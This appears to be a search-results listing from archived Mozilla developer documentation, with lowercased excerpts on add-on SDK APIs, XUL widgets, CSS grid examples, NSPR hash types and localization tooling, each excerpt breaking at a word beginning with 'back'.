background-color','rgb(255,255,100)','important'); } } require("sdk/ui/button/action").actionbutton({ id: "highlight-active-tab", label: "highlight active tab", icon: "./icon-16.png", onclick: highlightactivetab }); security implications the sdk implements a securit...
indexed-db - Archive of obsolete content
{ database.db = e.target.result; }; request.onerror = database.onerror; }; function additem(name) { var db = database.db; var trans = db.transaction(["items"], "readwrite"); var store = trans.objectstore("items"); var time = new date().gettime(); var request = store.put({ "name": name, "time": time }); request.onerror = database.onerror; }; function getitems(call
back) { var cb = call
back; var db = database.db; var trans = db.transaction(["items"], "readwrite"); var store = trans.objectstore("items"); var items = new array(); trans.oncomplete = function() { cb(items); } var keyrange = idbkeyrange.lowerbound(0); var cursorrequest = store.opencursor(keyrange); cursorrequest.onsuccess = function(e) { var result = e.target.result; ...
request - Archive of obsolete content
optionally the user may specify a collection of headers and content to send alongside the request and a call
back which will be executed once the request completes.
dev/panel - Archive of obsolete content
two-way messaging the panel document does not have an equivalent postmessage method, so if you want your panel document to communicate
back to the add-on, you can use channel messaging.
frame/hidden-frame - Archive of obsolete content
you must specify an onready call
back and refrain from using the hidden frame until the call
back gets called, because hidden frames are not always ready to load content the moment they are added.
preferences/service - Archive of obsolete content
ce").set("general.useragent.locale", "chrome://global/locale/intl.properties"); example: setting global preferences var { get, set } = require("sdk/preferences/service"); var { when: unload } = require("sdk/system/unload"); var oldvalue = get("browser.urlbar.autofill"); set("browser.urlbar.autofill", true); // by amo policy global preferences must be changed
back to their original value unload(function() { set("browser.urlbar.autofill", oldvalue); }); ...
cfx to jpm - Archive of obsolete content
permanently removed fields data fullname - use title instead lib packages tests icon64 package.json escaping where with cfx you might have had to escape with 2 upto 3
backslashes ( \ ), jpm only needs one now.
console - Archive of obsolete content
console.error(object[, object, ...]) logs the arguments to the console, preceded by "error:" and the name of your add-on: console.error("this is an error message"); error: my-addon: this is an error message console.exception(exception) logs the given exception instance as an error, outputting information about the exception's stack trace
back if one is available.
jpmignore - Archive of obsolete content
for example: .* * !/data/** !/lib/** !/locale/** !/node_modules/** !/package.json !/icon.png !/icon64.png !/copying !/bootstrap.js !/install.rdf this would include all editor
backup files and similar in the whitelisted subdirectories, to avoid that you can append another blacklist after the whitelist.
Display a Popup - Archive of obsolete content
self.port.on("show", function onshow() { textarea.focus(); }); finally, the "text-entry.html" file defines the <textarea> element: <html> <head> <style type="text/css" media="all"> textarea { margin: 10px; } body {
background-color: gray; } </style> </head> <body> <textarea rows="13" cols="33" id="edit-box"></textarea> </body> </html> finally, save these three icon files to the "data" directory: icon-16.png icon-32.png icon-64.png try it out: "index.js" is saved in the top level, and the other five files go in your add-on's data directory: ...
Getting Started (jpm) - Archive of obsolete content
next, create a directory called "data" in your add-on's root, mkdir data and save these three icon files to the "data" directory: icon-16.png icon-32.png icon-64.png
back at the command prompt, type: jpm run this is the jpm command to run a new instance of firefox with your add-on installed.
Getting started (cfx) - Archive of obsolete content
next, save these three icon files to the "data" directory: icon-16.png icon-32.png icon-64.png
back at the command prompt, type: cfx run this is the sdk command to run a new instance of firefox with your add-on installed.
Developing for Firefox Mobile - Archive of obsolete content
s supported simple-storage supported system supported tabs supported timers supported ui not supported url supported widget not supported windows supported low-level apis /loader supported chrome supported console/plain-text supported console/trace
back supported content/content supported content/loader supported content/mod supported content/worker supported core/heritage supported core/namespace supported core/promise supported event/core supported event/target supported frame/hidden-frame supported frame/utils ...
Bootstrapped extensions - Archive of obsolete content
backward compatibility because older versions of firefox don't know about the bootstrap property or bootstrap.js file, it's not overly difficult to create an xpi that will work on both as a bootstrappable extension and as a traditional extension.
Alerts and Notifications - Archive of obsolete content
var message = 'another pop-up blocked'; var box = gbrowser.getnotificationbox(); var notification = box.getnotificationwithvalue('popup-blocked'); if (notification) { notification.label = message; } else { var buttons = [{ label: 'button', accesskey: 'b', popup: 'blockedpopupoptions', call
back: null }]; let priority = box.priority_warning_medium; box.appendnotification(message, 'popup-blocked', 'chrome://browser/skin/info.png', priority, buttons); } ...
Creating reusable content with CSS and XBL - Archive of obsolete content
<children/> </xul:button> </content> <implementation> <field name="square"><![cdata[ document.getanonymouselementbyattribute(this, "anonid", "square") ]]></field> <field name="button"><![cdata[ document.getanonymouselementbyattribute(this, "anonid", "button") ]]></field> <method name="dodemo"> <body><![cdata[ this.square.style.
backgroundcolor = "#cf4" this.square.style.marginleft = "20em" this.button.setattribute("disabled", "true") settimeout(this.cleardemo, 2000, this) ]]></body> </method> <method name="cleardemo"> <parameter name="me"/> <body><![cdata[ me.square.style.
backgroundcolor = "transparent" me.square.style.marginleft = "0" me.button.r...
XML data - Archive of obsolete content
copy and paste the content from here, making sure that you scroll to get all of it: /*** xml demonstration ***/ planet:before { display: block; width: 8em; font-weight: bold; font-size: 200%; content: "oceans"; margin: -.75em 0px .25em -.25em; padding: .1em .25em;
background-color: #cdf; } planet { display: block; margin: 2em 1em; border: 4px solid #cdf; padding: 0px 1em;
background-color: white; } ocean { display: block; margin-bottom: 1em; } name { display: block; font-weight: bold; font-size: 150%; } area { display: block; } area:before { content: "area: "; } area:after { content: " million km\b2"; } depth { d...
chargingchange - Archive of obsolete content
general info specification battery interface event bubbles no cancelable no target batterymanager default action none properties the event call
back doesn't receive any event objects, but properties can be read from the batterymanager object received from the navigator.getbattery method.
chargingtimechange - Archive of obsolete content
general info specification battery interface event bubbles no cancelable no target batterymanager default action none properties the event call
back doesn't receive any event objects, but properties can be read from the batterymanager object received from the navigator.getbattery method.
dischargingtimechange - Archive of obsolete content
general info specification battery interface event bubbles no cancelable no target batterymanager default action none properties the event call
back doesn't receive any event objects, but properties can be read from the batterymanager object received from the navigator.getbattery method.
levelchange - Archive of obsolete content
general info specification battery interface event bubbles no cancelable no target batterymanager default action none properties the event call
back doesn't receive any event objects, but properties can be read from the batterymanager object received from the navigator.getbattery method.
Misc top level - Archive of obsolete content
back in the early days, this approach worked, because browsers would usually make a table cell exactly as wide and tall as an image it contained.no proxy for configurationthis document provides a comprehensive discussion of the manual proxy feature "no proxy for:", including configuration issues, testing and bugs.same-origin policy for file: urisin gecko 1.8 or earlier, any two file: uris are consider...
Automated testing tips and tricks - Archive of obsolete content
me doc - see sbtests.xul in http://people.mozilla.com/~davel/scripts/ for an example firefox-bin -p sbtestprofile -chrome chrome://sbtests/content/ above code calls the quit function in quit.js to exit after test is finished how to detect content onload event from chrome use the domcontentloaded event chromewindow.addeventlistener('domcontentloaded',call
backfunction,false); ...
Kill the XUL.mfl file for good - Archive of obsolete content
loading these files from the server, and storing them
back slows down the network, thus it may actually be faster without than with xul.mfl occasionnally gets corrupted, needing a manual intervention to wipe it out, before mozilla again works correctly.
Java in Firefox Extensions - Archive of obsolete content
must add this utilities (classloader) jar to give your extension full privileges var extensionurl = "file:///" + extensionpath.path.replace(/\\/g,"/"); var classloaderjarpath = extensionurl + "/java/javafirefoxextensionutils.jar"; // add the paths for all the other jar files that you will be using var myjarpath = extensionurl + "/java/testjava.jar"; // seems you don't actually have to replace the
backslashes as they work as well var urlarray = []; // build a regular javascript array (liveconnect will auto-convert to a java array) urlarray[0] = new java.net.url(myjarpath); urlarray[1] = new java.net.url(classloaderjarpath); var cl = java.net.urlclassloader.newinstance(urlarray); //set security policies using the above policyadd() function policyadd(cl, urlarray); now you can begin usin...
Content - Archive of obsolete content
execute call
backs when certain pages are opened siteboost allows a jetpack to empower a domain with extended abilities beyond those native to web pages ...
slideBar - Archive of obsolete content
iconhref oficon to show in the slidebaruri htmlhtml content for the featurehtml/xml urlurl to load content for the featureuri widthwidth of the content area and the selected slide sizeint persistdefault slide behavior when being selectedbool autoreloadautomatically reload content on selectbool onclickcall
back when the icon is clickedfunction onselectcall
back when the feature is selectedfunction onreadycall
back when featured is loadedfunction an example: jetpack.slidebar.append({ url: "http://mozilla.com", width: 150, onclick: function(slide){ slide.icon.src = "chrome://branding/content/icon48.png"; }}); ...
Monitoring downloads - Archive of obsolete content
break; case 3: statusstr = "canceled"; style = "color:purple"; break; case 4: statusstr = "paused"; style = "color:blue"; break; case 5: statusstr = "queued"; style = "color:teal"; break; case 6: statusstr = "blocked"; style = "color:white
background-color:red"; break; case 7: statusstr = "scanning"; style = "color:silver"; break; default: statusstr = "unknown"; break; } cell.setattribute("label", statusstr); cell.setattribute("style", style); row.appendchild(cell); loglist.appendchild(row); } } finally { ...
LIR - Archive of obsolete content
the
back-ends cannot generate code for it.it's used in tracemonkey briefly but is always demoted to a lir_modl or converted to a function call before nanojit has to do anything serious with it.
Plugin Architecture - Archive of obsolete content
(the event is necessary because by the time hasnewframe is called, the frame isn't fully set up yet) in layout note: some of this should move to content an instance owner is created the window passed to the plugin is adjusted (the npwindow, http://devedge-temp.mozilla.org/libr...nt.html#999221) the plugin host is asked to instantiate the plugin this will call
back to the instance owner / the object frame in order to create a widget to draw to (if the plugin is not windowless) nsplugininstanceowner::setwindow setwindow is called on the plugin ...
Build - Archive of obsolete content
this variable is called mozconfig export mozconfig=$pwd/.mozconfig #this should point to mozilla/prism/.mozconfig go
back to the mozilla/ directory and do another build, this time, prism will get built cd ../ make -f client.mk build congratulations, you have just built prism.
FAQ - Archive of obsolete content
it lets users start web applications from their desktop, start menu, and dock, and it opens those applications in their own window separate from a web browser and without the browser interface (
back and forward buttons, location bar, etc.).
Widget Cheatsheet - Archive of obsolete content
widget"> <menupopup> <menuitem value="foo" /> <menuitem value="shoo" /> <menu value="sub"> <menupopup> <menuitem value="subitem" /> </menupopup> </menu> </menupopup> </menu> <menulist value="menulist element"> <menupopup> <menuitem value="foo" /> <menuitem value="shoo" /> <menuitem value="boo" /> </menupopup> </menulist> <menubutton src="
back.gif"> <menupopup> <menuitem value="foo" /> <menuitem value="shoo" /> <menuitem value="boo" /> </menupopup> </menubutton> ...
XUL Parser in Python/source - Archive of obsolete content
error(self, message): pass p = xulparser() cmd = 'dir /s /b *.xul' chrome_dir = 'c:\program files\netscape\netscape 6\chrome' os.chdir(chrome_dir) files = os.popen(cmd).readlines() for file in files: file = file.strip() print '** ' + file + ' **' data = open(file).read() p.feed(data) w.write('<html><h3>periodic table of xul elements</h3>') w.write('<table><style>.head {font-weight: bold;
background-color: lightgrey;}</style>') elements = el_list.keys() elements.sort() for item in elements: w.write('<tr><td class="head">' + item + '</td></tr>\n') for a in el_list[item]: w.write('<tr><td class="at">' + a + '</td>') w.write('</table></html>\n') w.close() ...
XUL Event Propagation - Archive of obsolete content
the widget hierarchy consider the following xul file: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="events" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" oncommand="alert('window handler')"> <vbox> <vbox style="
background-color: lightgrey;" oncommand="alert('box handler')"> <menu class="menu" label="file" oncommand="alert('menu handler')"> <menupopup> <menuitem oncommand="alert('new item alert')" label="new" /> <menuitem label="open" /> <menuitem oncommand="alert('close handler')" label="close" /> </menupopup> </menu> <menu class="menu" label="edit"> <menupopup> ...
button - Archive of obsolete content
possible values include: accept, cancel, help, open, save, find, clear, yes, no, apply, close, print, add, remove, refresh, go-forward, go-
back, properties, select-font, select-color, network.
prefpane - Archive of obsolete content
for example, if you are using a listbox and the user changes the contents of the listbox (such as adding or removing an item) and you want to sync the changes
back to a preference, you must write an onsynctopreference handler for your listbox that returns the value to be written to the preference element, and then call the userchangedvalue function every time you edit the list in a way that should cause the preference's value to change.
textbox - Archive of obsolete content
the xul script: <textbox id="pnnote" multiline="true" rows="2" cols="70" onkeypress="return pncountnotechars(event);"/> the javascript: function pncountnotechars(evt) { //allow non character keys (delete,
backspace and and etc.) if ((evt.charcode == 0) && (evt.keycode != 13)) return true; if (evt.target.value.length < 10) { return true; } else { return false; } } related interfaces nsiaccessibleprovider, nsidomxultextboxelement ...
titlebar - Archive of obsolete content
<?xml version="1.0"?> <window title="movable hud window" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" width="300" height="200" style="
background: transparent; -moz-appearance: none;"> <titlebar flex="1" oncommand="close()" style="
background: rgba(30, 30, 30, 0.9); -moz-border-radius: 10px; -moz-box-shadow: 0 1px 8px rgba(0, 0, 0, 0.8); margin: 8px 12px 16px;"/> </window> it can be opened from the error console like this: open("file:///users/markus/sites/hudwind...
Grid - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: 1fr 1fr 1fr; grid-template-rows: 100px 100px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> <div...
Grid Areas - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3,1fr); grid-template-rows: 100px 100px; grid-template-areas: "a a b" "a a b"; } .item1 { grid-area: a; } .item2 { grid-area: b; } <div class="wrapper...
Grid Cell - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3,1fr); grid-auto-rows: 100px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> lea...
Grid Tracks - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: 200px 1fr 3fr; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> track sizing in the implicit...
Gutters - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #fff8f8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3,1.2fr); grid-auto-rows: 45%; grid-column-gap: 20px; grid-row-gap: 20px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <di...
HTTP header - MDN Web Docs Glossary: Definitions of Web-related terms
found location: /newpage.html a typical set of headers: 304 not modified access-control-allow-origin: * age: 2318192 cache-control: public, max-age=315360000 connection: keep-alive date: mon, 18 jul 2016 16:06:00 gmt server: apache vary: accept-encoding via: 1.1 3dc30c7222755f86e824b93feb8b5b8c.cloudfront.net (cloudfront) x-amz-cf-id: tol0fem6ui4fgldrkjx0vao5hpkkgzulyn2twd2gawltr7vlnjtvzw== x-
backend-server: developer6.webapp.scl3.mozilla.com x-cache: hit from cloudfront x-cache-info: cached ...
Test your skills: The Cascade - Learn web development
task one in this task, you need to use one of the special values we looked at in the controlling inheritance section to write a declaration in a new rule that will reset the
background color
back to white, without using an actual color value.
Overflowing content - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model
backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Attribute selectors - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model
backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Type, class, and ID selectors - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model
backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Sizing items in CSS - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model
backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Normal Flow - Learn web development
overflowing inline elements will <span>wrap onto a new line if possible (like this one containing text)</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> body { width: 500px; margin: 0 auto; } p {
background: rgba(255,84,104,0.3); border: 2px solid rgb(255,84,104); padding: 10px; margin: 10px; } span {
background: white; border: 1px solid black; } summary now that you understand normal flow, and how the browser lays things out by default, move on to understand how to change this default display to create the layout needed by your design.
Getting started with CSS - Learn web development
try adding the following into your code: body h1 + p .special { color: yellow;
background-color: black; padding: 5px; } this will style any element with a class of special, which is inside a <p>, which comes just after an <h1>, which is inside a <body>.
mozbrowserlocationchange
cango
back a boolean that defines whether it's possible to go
back in the navigation history (true) or not (false).
ChromeWorker
to use a postmessage with call
back version of chromeworker that features promises, see promiseworker.
Chrome-only API reference
to use a postmessage with call
back version of chromeworker that features promises, see promiseworker.
::-moz-tree-cell
associated elements <xul:treecell> style properties
background border margin outline padding visibility ...
::-moz-tree-row
associated elements treerow syntax treechildren::-moz-tree-row { style properties } style properties
background border margin outline padding display -moz-appearance examples treechildren::-moz-tree-row( foo bar ) { margin: 2%; } ...where...
overflow-clip-box-block
examples padding-box html <div class="things"> <input value="abcdefghijklmnopqrstuvwxyzÅÄÖ" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzÅÄÖ</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black;
background: lime content-box; } .padding-box { overflow-clip-box-block: padding-box; } javascript function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this prop...
overflow-clip-box-inline
examples padding-box html <div class="things"> <input value="abcdefghijklmnopqrstuvwxyzÅÄÖ" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzÅÄÖ</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black;
background: lime content-box; } .padding-box { overflow-clip-box-inline: padding-box; } javascript function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this pro...
overflow-clip-box
formal syntax padding-box | content-box examples padding-box html <div class="things"> <input value="abcdefghijklmnopqrstuvwxyzÅÄÖ" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzÅÄÖ</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black;
background: lime content-box; } .padding-box { overflow-clip-box: padding-box; } js function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been ...
Chrome-only CSS reference
ht theme with a dark text color is selected.::-moz-tree-cellactivated by the properties attribute.::-moz-tree-cell-textactivated by the properties attribute.::-moz-tree-cell-text(hover)the :-moz-tree-cell-text(hover) css pseudo-class will match an element if the mouse cursor is presently hovering over text in a tree cell.::-moz-tree-columnactivated by the properties attribute.::-moz-tree-drop-feed
backactivated by the properties attribute.::-moz-tree-imageactivated by the properties attribute.::-moz-tree-indentationactivated by the properties attribute.::-moz-tree-lineactivated by the properties attribute.::-moz-tree-progressmeteractivated when the type attribute is set to progressmeter.
MozBeforePaint
<!doctype html> <html> <body> <div id="d" style="width:100px; height:100px;
background:lime; position:relative;"></div> <script> var d = document.getelementbyid("d"); var start = window.mozanimationstarttime; function step(event) { var progress = event.timestamp - start; d.style.left = math.min(progress/10, 200) + "px"; if (progress < 2000) { window.mozrequestanimationframe(); } else { window.removeeventlistener("mozbeforepaint", step, false); } } window.add...
Embedding Mozilla
that means you can embed a web browser inside a third-party application, open channels and streams through the network
backend, walk through the dom and so on.
Gecko's "Almost Standards" Mode
mysterious gaps" for a detailed explanation of how such layouts are treated in "standards" mode.) in slightly more detail, what differs in almost-standards mode is roughly this: inline boxes that have no non-whitespace text as a child and have no border, padding, or margin: do not influence the size of the line box (that is, their line-height is ignored) do not get a height (e.g., for their
background) larger than that of their descendants, even if their font size is larger (if they have no descendants, they are zero-height positioned at their baseline) other than this one difference, "almost standards" and "standards" modes are exactly the same in terms of layout and other behaviors.
IPC Protocol Definition Language (IPDL)
current docs ipdl tutorial quick start: creating a new protocol quick start: extending a protocol ipdl type serialization ipdl best practices ipdl glossary p
background future planned docs ipdl language reference error and shutdown handling in ipdl protocols how ipdl uses processes, threads, and sockets ipdl shared memory ...
Implementing QueryInterface
thanks special thanks to heikki toivonen, chris waterson, and john bandhauer for valuable feed
back that significantly improved the implementations presented here.
Implementing Download Resuming
you may want to use nsisimplestreamlistener to simplify this task; to get progress notifications, you can implement nsiprogresseventsink and set an interface requester as the notificationcall
backs of the channel that gives out such an event sink (this needs to be done before calling asyncopen).
JavaScript Tips
for instance the offline observer declared above is a javascript object that is registered with an xpcom object, so that the call
back from xpcom executes the javascript method.
AddonInstall
the process will continue in the
background until it fails, completes, one of the registered installlisteners pauses it, or the process is canceled by a call to the cancel() method.
AddonListener
only applies to the following properties: apply
backgroundupdates void onpropertychanged( in addon addon, in string properties[] ) parameters addon the addon that has had its properties changed properties an array of the names of properties that changed.
ISO8601DateUtils.jsm
the iso8601dateutils.jsm javascript code module provides methods that make it easy to convert javascript date objects into iso 8601 format date strings and
back.
Webapps.jsm
newapp, aisupdate, aerror) uninstall: function(amanifesturl) _promptforuninstall: function(adata) confirmuninstall: function(adata) denyuninstall: function(adata, areason = "error_unknown_failure") getself: function(adata, amm) checkinstalled: function(adata, amm) getinstalled: function(adata, amm) getnotinstalled: function(adata, amm) geticon: function(adata, amm) getall: function(acall
back) isreceipt: function(data) addreceipt: function(adata, amm) removereceipt: function(adata, amm) replacereceipt: function(adata, amm) setenabled: function(adata) getmanifestfor: function(amanifesturl, aentrypoint) getappbymanifesturl: function(amanifesturl) getfullappbymanifesturl: function(amanifesturl, aentrypoint, alang) getmanifestcspbylocalid: function(alocalid) getdefaultcspbylocal...
Bootstrapping a new locale
.dtd places aboutsessionrestore.dtd preferences aboutsupport.dtd quitdialog.properties basemenuoverlay.dtd safemode.dtd browser.dtd safebrowsing browser.properties sanitize.dtd credits.dtd search.properties enginemanager.dtd searchbar.dtd enginemanager.properties setdesktop
background.dtd feeds shellservice.properties history sidebar migration tabbrowser.dtd openlocation.dtd tabbrowser.properties openlocation.properties as a localizer, you are responsible for localizing each of the ".dtd" and ".properties" in *all* of the sub-directories found in your ab-cd directory.
Index
here you'll learn the process of using svn to obtain mozilla website source files from the mozilla servers and pushing your localizations right
back to them.
L10n Checks
ab-cd browser chrome/browser browser.dtd +
backforwardmenu.tooltip +fullzoomenlargecmd.commandkey3 +fullzoomreducecmd.commandkey2 +fullzoomresetcmd.commandkey2 +organizebookmarks.label -showallbookmarkscmd2.label migration/migration.dtd -importfromfile.accesskey -importfromfile.label +importfromhtmlfile.accesskey +importfromhtmlfile.label you can a...
Localizing XLIFF files for iOS
push your commit into the github repo: git push kick up your feet, pop open a cold beer (or soda), and pat yourself on the
back for doing something new, different, and exciting!
Investigating leaks using DMD heap scan mode
the output will look something like this, after a message about loading progress: 0x7f0882fe3230 [fragmentorelement (xhtml) script https://www.example.com] --[[via hash] mlistenermanager]--> 0x7f0899b4e550 [eventlistenermanager] --[mlisteners event=onload listenertype=3 [i]]--> 0x7f0882ff8f80 [call
backobject] --[mincumbentglobal]--> 0x7f0897082c00 [nsglobalwindowinner # 2147483662 inner https://www.example.com] root 0x7f0882fe3230 is a ref counted object with 1 unknown edge(s).
DMD
d const*)) const (/home/njn/moz/mi2/xpcom/base/nscyclecollector.cpp:933) 0x7f6860fdb7af #04: nscyclecollector::sizeofincludingthis(unsigned long (*)(void const*), unsigned long*, unsigned long*, unsigned long*, unsigned long*, unsigned long*) const (/home/njn/moz/mi2/xpcom/base/nscyclecollector.cpp:3029) 0x7f6860fdb6b1 #05: cyclecollectormultireporter::collectreports(nsimemorymultireportercall
back*, nsisupports*) (/home/njn/moz/mi2/xpcom/base/nscyclecollector.cpp:3075) 0x7f6860fde432 #06: nsmemoryinfodumper::dumpmemoryreportstofileimpl(nsastring_internal const&) (/home/njn/moz/mi2/xpcom/base/nsmemoryinfodumper.cpp:626) 0x7f6860fece79 #07: nsmemoryinfodumper::dumpmemoryreportstofile(nsastring_internal const&, bool, bool) (/home/njn/moz/mi2/xpcom/base/nsmemoryinfodumper.cpp:344) 0x7f6860...
Gecko Profiler FAQ
the gecko profiler has been designed specifically for the use case of having it run always in the
background, and it’s pretty good at that!
powermetrics
other measurements powermetrics can also report measurements of
backlight usage, network activity, disk activity, interrupt distribution, device power states, c-state residency, p-state residency, quality of service classes, and thermal pressure.
JSHydra
in its
back-end, it uses the parse tree created by the spidermonkey engine.
Localization Use Cases
in shared/branding/official/branding, we can define browserbrandshortname as: <browserbrandshortname{ nominative: "firefox", genitive: "firefoxa", dative: "firefoxu", accusative: "firefox", locative: "firefoxu", instrumental:"firefoxom" }> and in shared/branding/unofficial/branding, we can define browserbrandshortname as follows, to mean web browser: now, coming
back to apps/browser/locales/browser, we can take advantage of the grammatical cases.
MailNews
mailnews is the
back end of the messaging parts of seamonkey and thunderbird.
Named Shared Memory
security considerations on unix platforms, depending on implementation, contents of the
backing store for the shared memory can be exposed via the file system.
PLHashAllocOps
syntax #include <plhash.h> typedef struct plhashallocops { void *(pr_call
back *alloctable)(void *pool, prsize size); void (pr_call
back *freetable)(void *pool, void *item); plhashentry *(pr_call
back *allocentry)(void *pool, const void *key); void (pr_call
back *freeentry)(void *pool, plhashentry *he, pruintn flag); } plhashallocops; #define ht_free_value 0 /* just free the entry's value */ #define ht_free_entry 1 /* free value and entire entry */ description users of the hash table functions can provide their own memory allocation functions.
PLHashComparator
syntax #include <plhash.h> typedef printn (pr_call
back *plhashcomparator)( const void *v1, const void *v2); description plhashcomparator is a function type that compares two values of an unspecified type.
PLHashEnumerator
syntax #include <plhash.h> typedef printn (pr_call
back *plhashenumerator)(plhashentry *he, printn index, void *arg); /* return value */ #define ht_enumerate_next 0 /* continue enumerating entries */ #define ht_enumerate_stop 1 /* stop enumerating entries */ #define ht_enumerate_remove 2 /* remove and free the current entry */ #define ht_enumerate_unhash 4 /* just unhash the current entry */ description plhashenumerator is a function type used in the enumerating a hash table.
PLHashFunction
syntax #include <plhash.h> typedef plhashnumber (pr_call
back *plhashfunction)(const void *key); description plhashnumber is a function type that maps the key of a hash table entry to a hash number.
PRCallOnceFN
syntax #include <prinit.h> typedef prstatus (pr_call
back *prcalloncefn)(void); description the function is called to perform the initialization desired.
Using XPCOM Components
find
backwards boolean attribute that adjusts findnext() to search
backwards up the document.
Components.utils.evalInWindow
the result is structured cloned
back to the original context, unless it is native (for example, if it returns a dom node, this is not structured cloned, because the original context will see that through an xraywrapper already), so it's guaranteed to behave predictably.
Components object
utils.scheduleprecisegc requests that garbage collection occur sometime in the future when no javascript code is running; accepts a call
back function to receive notification once collection is complete.
Language bindings
the result is structured cloned
back to the original context, unless it is native (for example, if it returns a dom node, this is not structured cloned, because the original context will see that through an xraywrapper already), so it's guaranteed to behave predictably.
Monitoring HTTP activity
gecko includes the nsihttpactivityobserver interface, which you can implement in your code to monitor http transactions in real time, receiving a call
back as the transactions take place.
nsresult
note: on compilers that do not support strongly-typed enums (that is, compilers that don't support this feature of c++11), it falls
back to being an unsigned 32-bit integer, as in past versions of gecko.
NS_ConvertASCIItoUTF16
nt32 acount print32 find(const nsaflatstring&, print32, print32) const - source parameters nsaflatstring& astring print32 aoffset print32 acount print32 find(const prunichar*, print32, print32) const - source parameters prunichar* astring print32 aoffset print32 acount rfind print32 rfind(const nscstring&, prbool, print32, print32) const - source this methods scans the string
backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to start searching.
NS_ConvertUTF16toUTF8
@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount rfind print32 rfind(const nscstring&, prbool, print32, print32) const - source this methods scans the string
backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to start searching.
NS_ConvertUTF8toUTF16
nt32 acount print32 find(const nsaflatstring&, print32, print32) const - source parameters nsaflatstring& astring print32 aoffset print32 acount print32 find(const prunichar*, print32, print32) const - source parameters prunichar* astring print32 aoffset print32 acount rfind print32 rfind(const nscstring&, prbool, print32, print32) const - source this methods scans the string
backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to start searching.
NS_LossyConvertUTF16toASCII
@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount rfind print32 rfind(const nscstring&, prbool, print32, print32) const - source this methods scans the string
